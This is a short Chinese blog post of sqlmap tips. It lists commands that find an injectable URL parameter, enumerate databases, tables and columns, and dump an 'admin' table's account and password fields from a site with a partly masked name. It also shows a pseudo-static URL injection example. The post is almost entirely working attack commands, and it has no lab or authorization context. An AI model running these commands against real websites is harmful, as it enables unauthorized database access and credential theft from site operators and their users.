SQLMAP 实用技巧

发布时间：2020-07-15 21:47:39 阅读：423 作者：ToAlice 栏目：安全技术

开发者测试专用服务器限时活动，0元免费领，库存有限，领完即止！点击查看>>

基础版：

检查注入点
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11
列数据库信息
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs
指定库名列出所有表
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables
指定库名表名列出所有字段
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns
指定库名表名字段dump出指定字段
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump

SQLMAP伪静态注入：

注入页面：http://www.xxx.org/news/class/?103.htm

命令：python sqlmap.py -u “http://www.xxx.org/news/class/?103*.html”

向AI问一下细节

猜你喜欢